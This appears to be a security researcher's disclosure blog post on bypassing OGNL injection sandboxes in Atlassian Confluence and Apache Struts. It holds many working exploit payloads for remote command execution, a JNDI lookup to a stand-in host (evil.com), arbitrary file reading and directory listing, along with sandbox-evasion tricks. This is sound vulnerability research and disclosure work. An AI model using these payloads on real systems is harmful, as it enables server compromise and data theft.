Bypassing OGNL sandboxes for fun and charities
Object Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. Learn more about bypassing certain OGNL injection protection mechanisms including those used by Struts and Atlassian Confluence, as well as different approaches to analyzing this form of protection so you can harden similar systems.
Overview
Object Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. In the past, OGNL injections led to some serious remote code execution (RCE) vulnerabilities, such as the Equifax breach, and over the years, protection mechanisms and mitigations against OGNL injections have been developed and improved to limit the impact of these vulnerabilities.
In this blog post, I will describe how I was able to bypass certain OGNL injection protection mechanisms, including the one used by Struts and the one used by Atlassian Confluence. The purpose of this blog post is to share different approaches used when analyzing this kind of protection so they can be used to harden similar systems.
No new OGNL injections are being reported as part of this research, and unless future OGNL injections are found on the affected frameworks/applications, or known double evaluations affect an existing Struts application, this research does not constitute any immediate risk for Apache Struts or Atlassian Confluence.
Hello OGNL, my old friend
I have a past history of bugs found in Struts framework, including CVE-2016-3087, CVE-2016-4436, CVE-2017-5638, CVE-2018-1327, CVE-2020-17530 and even some double OGNL injections through both Velocity and FreeMarker tags that remain unfixed to this date. Therefore, I have become familiar with the OGNL sandbox and different escapes over the years and I am still interested in any OGNL-related vulnerabilities that may appear. That was the case with Atlassian Confluence, CVE-2021-26084 and CVE-2022-26134, where the former is an instance of the unresolved double evaluation via Velocity tags mentioned in my 2020 advisory.
My friend, Man Yue Mo, wrote a great article describing how the OGNL mitigations have been evolving over the years and there are few other posts that also describe in detail how these mitigations have been improving.
In 2020, disabling the sandbox became harder, so I decided to change the approach completely. I introduced new ways to get RCE by circumventing the sandbox, and using the application server’s Instance Manager to instantiate arbitrary objects that I could use to achieve RCE. This research was presented at our Black Hat 2020 talk, Scribbling outside of template security. We reported this issue to the Apache Struts team, and they fixed the issue by using a block list. However, in 2021, Chris McCown published a new bypass technique which leverages the OGNL’s AST maps and the Apache Commons Collections BeanMap class.
That was it–at that point I had enough of OGNL and stopped looking into it until two events happened in the same week:
- My friend, Mert, found what he thought was an SSTI in a bug bounty program. It turned out to be an OGNL injection, so he asked me to help him with the exploitation of the issue.
- I read several tweets claiming that CVE-2022-26134 was not vulnerable to RCE on the latest Confluence version (7.18.0 at that time).
Okay, OGNL, my old friend. Here we go again.
Looking at Confluence isSafeExpression
protection
When the CVE-2022-26134 was released there was an initial understanding that the OGNL injection could not lead to direct RCE in the latest version 7.18.0 since the isSafeExpression
method was not possible to bypass for that version
Harsh Jaiswal (@rootxharsh) and Rahul Maini (@iamnoooob) took a different approach and looked for a gadget chain in the allowed classes list that could allow them to create an admin account.
Soon after, @MCKSysAr found a nice and simple bypass:
- Use
Class
property instead ofclass
one. - Use string concatenation to bypass string checks.
MCKSysAr’s bypass was soon addressed by blocking the access to the Class
and ClassLoader
properties. I had some other ideas, so I decided to take a look at the isSafeExpression
implementation.
The first interesting thing I learned was that this method was actually parsing the OGNL expression into its AST form in order to analyze what it does and decide whether it should be allowed to be executed or not. Bye-bye to regexp-based bypasses.
Then the main logic to inspect the parsed tree was the following:
- Starting at the root node of the AST tree, recursively call
containsUnsafeExpression()
on each node of the tree. - If the node is an instance of
ASTStaticField
,ASTCtor
orASTAssign
then the expression is deemed to be unsafe. This will prevent payloads using the following vectors:- Static field accesses
- Constructors calls
- Variable assignments
- If the node is an
ASTStaticMethod
check that the class the method belongs to is in an allow list containing:net.sf.hibernate.proxy.HibernateProxy
java.lang.reflect.Proxy
net.java.ao.EntityProxyAccessor
net.java.ao.RawEntity
net.sf.cglib.proxy.Factory
java.io.ObjectInputValidation
net.java.ao.Entity
com.atlassian.confluence.util.GeneralUtil
java.io.Serializable
- If node is an
ASTProperty
checks block list containing (after the initial fix):class
Class
classLoader
ClassLoader
- If the property looks like a class name, check if the class’s namespace is defined in the
unsafePackageNames
block list (too long to list here). - If node is an
ASTMethod
, check if we are callinggetClass
orgetClassLoader
. - If node is an
ASTVarRef
, check if the variable name is inUNSAFE_VARIABLE_NAMES
block list:#application
#parameters
#request
#session
#_memberAccess
#context
#attr
- If node in an
ASTConst
(eg: a string literal), callisSafeExpressionInternal
which will check the string against a block list (for example, harmful class names) and, in addition, it will parse the string literal as an OGNL expression and apply thecontainsUnsafeExpression()
recursive checks on it. - If a node has children, repeat the process for the children.
This is a pretty comprehensive control since it parses the AST recursively and makes sure that any AST nodes considered harmful are either rejected or inspected further.
MCKSysAr bypass was based on two things: A) Class
and ClassLoader
properties were not accounted for when inspecting ASTProperty
nodes; and B) ”java.lang.” + “Runtime”
was parsed as an ASTAdd
node with two ASTConst
children. None of them matched any of the known harmful strings and when parsed as an OGNL expression, none of them were valid expressions so they were not parsed further. A) Was fixed quickly by disallowing access to Class
and ClassLoader
properties, but B) was not fixed since it was considered as a security in-depth control (it’s impossible to analyze all variants in which a malicious string could be written).
With that in mind I took a look at the list of the OGNL AST nodes to see if there was anything interesting that was not accounted for in the isSafeExpression()
method.
Enter ASTEval
The first one that got my attention was ASTEval
. It looked very interesting and it was not accounted for by the containsUnsafeExpression()
method.
ASTEval
are nodes in the form of (expr)(root)
and they will parse the expr
string into a new AST and evaluate it with root
as its root node. This will allow us to provide an OGNL expression in the form of a string (ASTConst)
and evaluate it! We know that ASTConst
nodes are parsed as OGNL expressions and verified to not be harmful. However, we already saw that if we split the string literal in multiple parts, only the individual parts will be checked and not the result of the concatenation. For example, for the payload below #application
will never get checked, only #
and application
which are deemed to be safe:
As you can see in the resulting tree, there are no hints of any ASTVarRef
node and therefore access to #application
is granted.
Weaponizing ASTEval
There are multiple ways to craft a payload levering this vector. For example, we could get arbitrary RCE with echoed response:
('(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@get'+'Runtime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))')('')
Enter ASTMap
, ASTChain
and ASTSequence
I was already familiar with ASTMap
s from reading Mc0wn’s great article. In a nutshell, OGNL allows developers to instantiate any java.util.Map
implementation by using the @<class_name>@{}
syntax.
Using this technique, we were able to use a BeanMap
(a map wrapping a Java bean and exposing its getters and setters as map entries) to bypass the getClass
limitation by rewriting the payload as:
BeanMap map = @org.apache.commons.beanutils.BeanMap@{};
map.setBean(“”)
map.get(“class”).forName(”javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”).eval(payload)
This payload avoids calling the BeanMap
constructor explicitly and, therefore, gets rid of the ASTCtor
limitation. In addition, it allows us to call Object.getClass()
implicitly by accessing the class
item. However, we still have another problem: we need to be able to assign the map to a variable (map
) so we can call the setBean()
method on it and later call the get()
method on the same map. Since ASTAssign
was blocked, assignments were not an option. Fortunately, looking through the list of AST nodes, two more nodes got my attention: ASTChain
and ASTSequence
.
ASTChain
allows us to pass the result of one evaluation as the root node of the next evaluation. For example:(one).(two)
will evaluateone
and use its result as the root for the evaluation oftwo
.ASTSequence
allows us to run several evaluations on the same root object in sequence. For example:one, two
will evaluateone
and thentwo
using the same root node.
The idea was to bypass ASTAssign
constraint by combining ASTChain
and ASTSequence
together
We can set the map returned by the ASTMap
expression as the root for a sequence of expressions so all of them will have the map as its root object:
(#@BeanMap@{}).(expression1, expression2)
In our case, expression1
is the call to setBean()
and expression2
is the call to get()
.
Taking that into account and splitting literal strings into multiple parts to bypass the block list we got the following payload:
(#@org.apache.commons.beanutils.BeanMap@{}).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))
The final AST tree bypassing all isSafeExpression
checks is:
There was a final problem to solve. The OGNL injection sink was translateVariable()
which resolves OGNL expressions wrapped in ${expressions}
delimiters. Therefore, our payload was not allowed to contain any curly brackets. Fortunately, for us, OGNL will replace unicode escapes for us so we were able to use the final payload:
(#@org.apache.commons.beanutils.BeanMap@\\u007b\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))
I submitted these bypasses to Atlassian through its bug bounty program and, even though I was not reporting any new OGNL injections but a bypass of its sandbox, they were kind enough to award me with a $3,600 bounty!
Looking into Struts2
As mentioned before, a friend found what he thought was a Server-Side Template Injection (SSTI) (%{7*7}
=> 49) but it turned out to be an OGNL injection. Since this happened as part of a bug bounty program, I didn’t have access to the source code. I can’t be sure if the developers were passing untrusted data to an OGNL sink (for example, ActionSupport.getText()
), or if it was some of the unfixed double evaluations issues (still working at the time of writing). Anyhow, the application seemed to be using the latest Struts version and known payloads were not working. I decided to take a deeper look.
New gadgets on the block
When I listed what objects were available I was surprised to find that many of the usual objects in the Struts OGNL context, such as the value stack, were not there, and some others I haven’t seen before were available. One of such objects was #request[‘.freemarker.TemplateModel’]
. This object turned out to be an instance of org.apache.struts2.views.freemarker.ScopesHashModel
containing a variety of new objects. One of them (stored under the ognl
key) gave me access to an org.apache.struts2.views.jsp.ui.OgnlTool
instance. Looking at the code for this class I quickly spotted that it was calling Ognl.getValue()
. This class is not part of Struts, but the OGNL library and, therefore, the Struts sandbox (member access policy) was not enabled! In order to exploit it I used the following payload:
#request[‘.freemarker.TemplateModel’].get(‘ognl’).getWrappedObject().findValue(‘(new freemarker.template.utility.Execute()).exec({“whoami”})’, {})
That was enough to get the issue accepted as a remote code execution in the bounty program. However, despite having achieved RCE, there were a few unsolved questions:
- Why was this
.freemarker.TemplateModel
object available? - Are there any other ways to get RCE on the latest Struts versions?
Post-invocations Context
Attackers are limited to the objects they are able to access. Normally, OGNL injections take place before the action invocation completes and the action’s Result
is rendered.
When grepping the Struts’s source code for .freemarker.TemplateModel
, I found out that there are plenty of new objects added to the request scope when preparing the action’s Result
in order to share them with the view layer (JSP, FreeMarker or Velocity) and .freemarker.TemplateModel
was one of them. However, those objects are only added after the ActionInvocation
has been invoked. This implies that if I find .freemarker.TemplateModel
on the request scope, my injection was evaluated after the action invocation finished building the action’s Result
object and, therefore, my injection probably did not take place as part of the Struts code but as a double evaluation in the FreeMarker template.
These new objects will offer new ways to get remote code execution, but only if you are lucky to get your injection evaluated after the action’s Result
has been built. Or not? 🤔
It turned out that the ongoing ActionInvocation
object can be accessed through the OGNL context and, therefore, we can use it to force the building of the Result
object in advance. Calling the Result
s doExecute()
method will trigger the population of the so-called template model. For example, for Freemarker, ActionInvocation.createResult()
will create a FreemarkerResult
instance. Calling its doExecute()
method will, in turn, call its createModel()
method that will populate the template model.
(#ai=#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'])+
(#ai.setResultCode("success"))+
(#r=#ai.createResult())+
(#r.doExecute("pages/test.ftl",#ai))
Executing the above payload will populate the request context with new objects. However, that requires us to know the result code and the template’s path. Fortunately, we can also invoke the ActionInvocation.invoke()
method that will take care of everything for us!
#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke()
The line above will result in the template model being populated and stored in the request, and context scopes regardless of where your injection takes place.
Wild objects appeared
After the invocation, the request scope and value stack will be populated with additional objects. These objects vary depending on the view layer used. What follows is a list of the most interesting ones (skipping most of them which do not lead to RCE):
For Freemarker:
.freemarker.Request
(freemarker.ext.servlet.HttpRequestHashModel
).freemarker.TemplateModel
(org.apache.struts2.views.freemarker.ScopesHashModel
)__FreeMarkerServlet.Application__
(freemarker.ext.servlet.ServletContextHashModel
)JspTaglibs
(freemarker.ext.jsp.TaglibFactory
).freemarker.RequestParameters
(freemarker.ext.servlet.HttpRequestParametersHashModel
).freemarker.Request
(freemarker.ext.servlet.HttpRequestHashModel
).freemarker.Application
(freemarker.ext.servlet.ServletContextHashModel
).freemarker.JspTaglibs
(freemarker.ext.jsp.TaglibFactory
)ognl
(org.apache.struts2.views.jsp.ui.OgnlTool
)stack
(com.opensymphony.xwork2.ognl.OgnlValueStack
)struts
(org.apache.struts2.util.StrutsUtil
)
For JSPs:
com.opensymphony.xwork2.dispatcher.PageContext
(PageContextImpl
)
For Velocity:
.KEY_velocity.struts2.context
-> (StrutsVelocityContext
)ognl
(org.apache.struts2.views.jsp.ui.OgnlTool
)struts
(org.apache.struts2.views.velocity.result.VelocityStrutsUtils
)
Getting RCE with new objects
And now let’s have some fun with these new objects! In the following section I will explain how I was able to leverage some of these objects to get remote code execution.
ObjectWrapper
There may be different ways to get an instance of a FreeMarker’s ObjectWrapper
, even if the application is not using FreeMarker as its view layer because Struts uses it internally for rendering JSP tags. A few of them are listed below:
- Through
freemarker.ext.jsp.TaglibFactory.getObjectWrapper()
. Even though Struts’ sandbox forbids access tofreemarker.ext.jsp
package, we can still access it using a BeanMap:
(#a=#@org.apache.commons.collections.BeanMap@{ })+
(#a.setBean(#application[".freemarker.JspTaglibs"]))+
(#a['objectWrapper'])
- Through
freemarker.ext.servlet.HttpRequestHashModel.getObjectWrapper()
:
(#request.get('.freemarker.Request').objectWrapper)
- Through
freemarker.core.Configurable.getObjectWrapper()
. We need to use the BeanMap trick to access it sincefreemarker.core
is also blocklisted:
(#a=#@org.apache.commons.collections.BeanMap@{ })+
(#a.setBean(#application['freemarker.Configuration']))+
#a['objectWrapper']
Now for the fun part, what can we do with an ObjectWrapper
? There are three interesting methods we can leverage to get RCE:
newInstance(class, args)
This method will allow us to instantiate an arbitrary type. Arguments must be wrapped, but the return value is not. For example, we can trigger a JNDI injection lookup:
objectWrapper.newInstance(@javax.naming.InitialContext@class,null).lookup("ldap://evil.com")
Or, if Spring libs are available, we can get RCE by supplying a malicious XML config for FileSystemXmlApplicationContext
constructor:
objectWrapper.newInstance(@org.springframework.context.support.FileSystemXmlApplicationContext@class,{#request.get('.freemarker.Request').objectWrapper.wrap("URL")})
getStaticModels()
This method allows us to get static fields from arbitrary types. The return object is wrapped in a FreeMarker’s TemplateModel
so we need to unwrap it. An example payload levering Text4Shell:
objectWrapper.staticModels.get("org.apache.commons.text.lookup.StringLookupFactory").get("INSTANCE").getWrappedObject().scriptStringLookup().lookup("javascript:3+4")
wrapAsAPI()
This method allows us to wrap any object with a freemarker.ext.beans.BeanModel
giving us indirect access to its getters and setters methods. Struts’ sandbox will not have visibility on these calls and therefore they can be used to call any blocklisted method.
BeanModel.get('field_name')
returns aTemplateModel
wrapping the object.BeanModel.get('method_name')
returns either aSimpleMethodModel
orOverloadedMethodsModel
wrapping the method.
We can, therefore, call any blocklisted method with:
objectWrapper.wrapAsAPI(blocked_object).get(blocked_method)
This call will return an instance of TemplateMethodModelEx
. Its exec()
method is defined in the freemarker.template
namespace and, therefore, trying to invoke this method will get blocked by the Struts sandbox. However, TemplateMethodModelEx
is an interface and what we will really get is an instance of either freemarker.ext.beans.SimpleMethodModel
or freemarker.ext.beans.OverloadedMethodsModel
. Since the exec()
methods on both of them are defined on the freemarker.ext.beans
namespace, which is not blocklisted, their invocation will succeed. As we saw before, arguments need to be wrapped. As an example we can call the File.createTempFile(“PREFIX”, “SUFFIX”)
using the following payload:
objectWrapper.getStaticModels().get("java.io.File").get("createTempFile").exec({objectWrapper.wrap("PREFIX"), objectWrapper.wrap("SUFFIX")})
We can achieve the same by calling the getAPI()
on any freemarker.template.TemplateModelWithAPISupport
instance. Many of the FreeMarker exposed objects inherit from this interface and will allow us to wrap them with a BeanModel
. For example, to list all the keys in the Struts Value Stack we can use:
#request['.freemarker.TemplateModel'].get('stack').getAPI().get("context").getAPI().get("keySet").exec({})
Note that com.opensymphony.xwork2.util.OgnlContext.keySet()
would be blocked since it belongs to the com.opensymphony.xwork2.util
namespace, but in this case, Struts’ sandbox will only see calls to TemplateHashModel.get()
and TemplateModelWithAPISupport.getAPI()
which are both allowed.
The last payload will give us a complete list of all available objects in the Value Stack, many of which could be used for further attacks. Lets see a more interesting example by reading an arbitrary file using BeanModel
s:
(#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+
(#f=#bw.newInstance(@java.io.File@class,{#bw.wrap("C:\\REDACTED\\WEB-INF\\web.xml")}))+
(#p=#bw.wrapAsAPI(#f).get("toPath").exec({}))+
(#ba=#bw.getStaticModels().get("java.nio.file.Files").get("readAllBytes").exec({#bw.wrap(#p)}))+
"----"+
(#b64=#bw.getStaticModels().get("java.util.Base64").get("getEncoder").exec({}).getAPI().get("encodeToString").exec({#bw.wrap(#ba)}))
Or listing the contents of a directory:
(#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+
(#dir=#bw.newInstance(@java.io.File@class,{#bw.wrap("C:\\REDACTED\\WEB-INF\\lib")}))+
(#l=#bw.wrapAsAPI(#dir).get("listFiles").exec({}).getWrappedObject())+"---"+
(#l.{#this})
OgnlTool/OgnlUtil
The org.apache.struts2.views.jsp.ui.OgnlTool
class was calling Ognl.getValue()
with no OgnlContext
and even though the Ognl library will take care of creating a default one, it will not include all the additional security checks added by the Struts framework and is easily bypassable:
package org.apache.struts2.views.jsp.ui;
import ognl.Ognl;
import ognl.OgnlException;
import com.opensymphony.xwork2.inject.Inject;
public class OgnlTool {
private OgnlUtil ognlUtil;
public OgnlTool() { }
@Inject
public void setOgnlUtil(OgnlUtil ognlUtil) {
this.ognlUtil = ognlUtil;
}
public Object findValue(String expr, Object context) {
try {
return Ognl.getValue(ognlUtil.compile(expr), context);
} catch (OgnlException e) {
return null;
}
}
}
We can get an instance of OgnlTool
from both FreeMarker and Velocity post-invocation contexts:
#request['.freemarker.TemplateModel'].get('ognl')
Or
#request['.KEY_velocity.struts2.context'].internalGet('ognl')
For FreeMarker’s case, it will come up wrapped with a Template model but we can just unwrap it and use it to get RCE:
(#a=#request.get('.freemarker.Request').objectWrapper.unwrap(#request['.freemarker.TemplateModel'].get('ognl'),'org.apache.struts2.views.jsp.ui.OgnlTool'))+
(#a.findValue('(new freemarker.template.utility.Execute()).exec({"whoami"})',null))
Or, even simpler:
#request['.freemarker.TemplateModel'].get('ognl').getWrappedObject().findValue('(new freemarker.template.utility.Execute()).exec({"whoami"})',{})
OgnlTool
was inadvertently fixed when Struts 6.0.0 was released by upgrading to OGNL 3.2.2 which always requires a MemberAccess
. But the latest Struts 2 version (2.5.30) is still vulnerable to this payload.
StrutsUtil
Another object that can be accessed in the post-invocation context is an instance of org.apache.struts2.util.StrutsUtil
. There are plenty of interesting methods in here:
public String include(Object aName)
can be used to read arbitrary resources<struts_utils>.include("/WEB-INF/web.xml")
public Object bean(Object aName)
can be used to instantiate arbitrary types:<struts_utils>.bean("javax.script.ScriptEngineManager")
public List makeSelectList(String selectedList, String list, String listKey, String listValue)
listKey
andlistValue
are evaluated with OgnlTool and therefore in an unsandboxed context<struts_utils>.makeSelectList("#this","{'foo'}","(new freemarker.template.utility.Execute()).exec({'touch /tmp/bbbb'})","")
On applications using Velocity as its view layer, this object will be an instance of VelocityStrutsUtil
which extends StrutsUtils
and provides an additional vector:
public String evaluate(String expression)
will allow us to evaluate a string containing a velocity template:
(<struts_utils>.evaluate("#set ($cmd='java.lang.Runtime.getRuntime().exec(\"touch /tmp/pwned_velocity\")') $application['org.apache.tomcat.InstanceManager'].newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval($cmd)"))
JspApplicationContextImpl
The last vector that I wanted to share is one that I found a few years ago and that I was not able to exploit–although I was pretty sure that there had to be a way. New post-invocation discovered objects finally made this possible!
If you have inspected the Struts Servlet context (#application
) in the past you probably saw an item with key org.apache.jasper.runtime.JspApplicationContextImpl
which returned an instance of org.apache.jasper.runtime.JspApplicationContextImpl
. This class contains a method called getExpressionFactory()
that returns an Expression Factory that will expose a createValueExpression()
method. This looks like a perfect place to create an EL expression and evaluate it. The problem was that createValueExpression
requires an instance of ELContext
and we had none.
Fortunately, our post-invocation technique brought a new object into play. When using JSPs as the view layer, #request['com.opensymphony.xwork2.dispatcher.PageContext']
will return an uninitialized org.apache.jasper.runtime.PageContextImpl
instance that we can use to create an ELContext
and evaluate arbitrary EL expressions:
(#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke())+
(#ctx=#request['com.opensymphony.xwork2.dispatcher.PageContext'])+
(#jsp=#application['org.apache.jasper.runtime.JspApplicationContextImpl'])+
(#elctx=#jsp.createELContext(#ctx))+
(#jsp.getExpressionFactory().createValueExpression(#elctx, '7*7', @java.lang.Class@class).getValue(#elctx))
The avid readers may be wondering why Struts stores the PageContext
in the request. Well, turns out, it does not, but we can access it through chained contexts.
When accessing #attr
(AttributeMap
), we can indirectly look into multiple scopes such as the Page, Request, Session and Application (Servlet). But there is more, org.apache.struts2.dispatcher.StrutsRequestWrapper.getAttribute()
will look for the attribute in the ServletRequest
, if it can’t find it there, it will search the value stack! So, we can effectively access the value stack through the #request
or #attr
variables.
In this case, the PageContext
was not stored in the request scope, but in the Value stack, and we are able to access it through chained context searches.
We can even run arbitrary OGNL expressions as long as they don’t contain any hashes (#
), for example, #request["@java.util.HashMap@class"]
will return the HashMap
class.
Leveling up the BeanMap payload
You may already be familiar with McOwn’s technique. He realized that it was possible to use OGNL Map notation to instantiate an org.apache.commons.collections.BeanMap
by using the #@org.apache.commons.collections.BeanMap@{ }
syntax, and then it was possible to wrap any Java object on this map and access any getters and setters as map properties. His payload was based on the org.apache.tomcat.InstanceManager
payload we introduced at Black Hat 2020 and looked like:
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
The payload was basically disabling the OGNL sandbox and then accessing otherwise blocked classes such as InstanceManager
. There is a simpler way to abuse BeanMaps that do not require to disable the sandbox and that is using reflection:
(#c=#@org.apache.commons.beanutils.BeanMap@{})+
(#c.setBean(@Runtime@class))+
(#rt=#c['methods'][6].invoke())+
(#c['methods'][12]).invoke(#rt,'touch /tmp/pwned')
This payload also works in Struts 6 if the BeanClass
is available in the classpath (either from Apache Commons Collections or Apache Commons BeanUtils), but you need to specify the FQN (Fully Qualified Name) name for Runtime
: @java.lang.Runtime@class
.
Timeline
These bypasses were first reported to the Struts and OGNL security teams on June 9, 2022.
On October 7, 2022, the security team replied to us and stated that improving the block lists was not a sustainable solution, and, therefore, they decided to stop doing it. They highlighted that a Java Security Manager can be configured to protect every OGNL evaluation from these attacks and we highly recommend doing so if you are running a Struts application. However, bear in mind that the Security Manager is deprecated and will soon get removed from the JDK.
That’s a wrap
At this point, you will have probably realized that sandboxing an expression language, such as OGNL, is a really difficult task, and may require maintaining a list of blocked classes and OGNL features even though that is not an optimal approach. In this blog post, we have reviewed a few ways in which these sandboxes can be bypassed. Although they are specific to OGNL, hopefully you have learned to explore sandbox controls–and one or two new tricks–that may apply to other sandboxes. In total, we were able to raise $5,600, which we donated to UNHCR to help provide refuge for Ukrainians seeking protection from the war.
Tags:
Written by
Related posts
CodeQL zero to hero part 4: Gradio framework case study
Learn how I discovered 11 new vulnerabilities by writing CodeQL models for Gradio framework and how you can do it, too.
Attacking browser extensions
Learn about browser extension security and secure your extensions with the help of CodeQL.
Cybersecurity spotlight on bug bounty researcher @adrianoapj
As we wrap up Cybersecurity Awareness Month, the GitHub Bug Bounty team is excited to feature another spotlight on a talented security researcher who participates in the GitHub Security Bug Bounty Program—@adrianoapj!